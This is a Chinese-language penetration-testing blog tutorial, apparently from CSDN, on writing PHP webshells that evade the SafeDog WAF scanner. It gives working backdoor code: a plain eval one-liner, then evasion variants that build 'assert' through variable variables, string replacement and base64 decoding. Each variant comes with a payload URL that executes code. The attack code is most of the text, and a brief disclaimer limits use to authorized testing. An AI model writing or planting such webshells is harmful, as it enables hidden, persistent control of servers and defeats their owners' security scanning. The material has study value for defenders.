今天继续给大家介绍渗透测试相关知识,本文主要内容是简单手写后门Safedog检测绕过。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、Safedog后门扫描原理
SafeDog等WAF软件通常具有网络木马扫描功能,如下所示:
如果我们在网站中存在一个文件,是PHP一句话木马,如下所示:
<?php
eval($_POST['a']);
?>
那么当SafeDog进行扫描时,就会扫描出该文件,如下所示:
二、Safedog后门扫描绕过
上述后门之所以被Safedog拦截,是因为SafeDog检测到了eval函数和上传命令结合在了一起,因此,我们需要想办法避免这种写法,同时还能实现后门的功能。
我们可以采用变量覆盖的方式来写后门,后门PHP代码如下所示:
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_GET['z']);
?>
在上述代码中,并没有直接出现assert函数,因此,安全狗扫描也不会查杀,如下所示:
但是,我们可以采取如下payload:
http://127.0.0.1/test.php?x=b&y=assert&z=phpinfo();
上述payload执行结果如下所示:
如果使用菜刀等工具连接,z就是webshell的密码。分析上述URL,可以看出,在传入上述参数后,各个变量结果如下:
\$a=b
\$\$a=assert
因此$b=assert。因此上述代码变为:
assert(\$_GET['z'])
因此成为了一个webshell。
除了上述方式外,还有一些绕过WAF的思路,例如:
1、字符替换
字符替换是通过字符的替换,来代理敏感字符串,以绕过WAF的检测,相关PHP代码如下所示:
<?php
$a=str_replace('123','','as123ser123t');
$a($_GET['x']);
?>
对该代码的payload为:
http://127.0.0.1/test.php?x=phpinfo();
2、字符编码
字符编码的方式是将敏感字符串进行字符编码后,然后再利用代码进行解码,然后就可以绕过WAF的检测了。相关PHP代码如下所示:
<?php
$a=base64_decode("YXNzZXJ0");
$a($_GET['x']);
?>
对该代码的payload为:
http://127.0.0.1/test.php?x=phpinfo();
以上几种方式,获取不能直接绕过WAF的检测,但是我们可以借鉴这些写法的思想,形成更加复杂的webshell。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200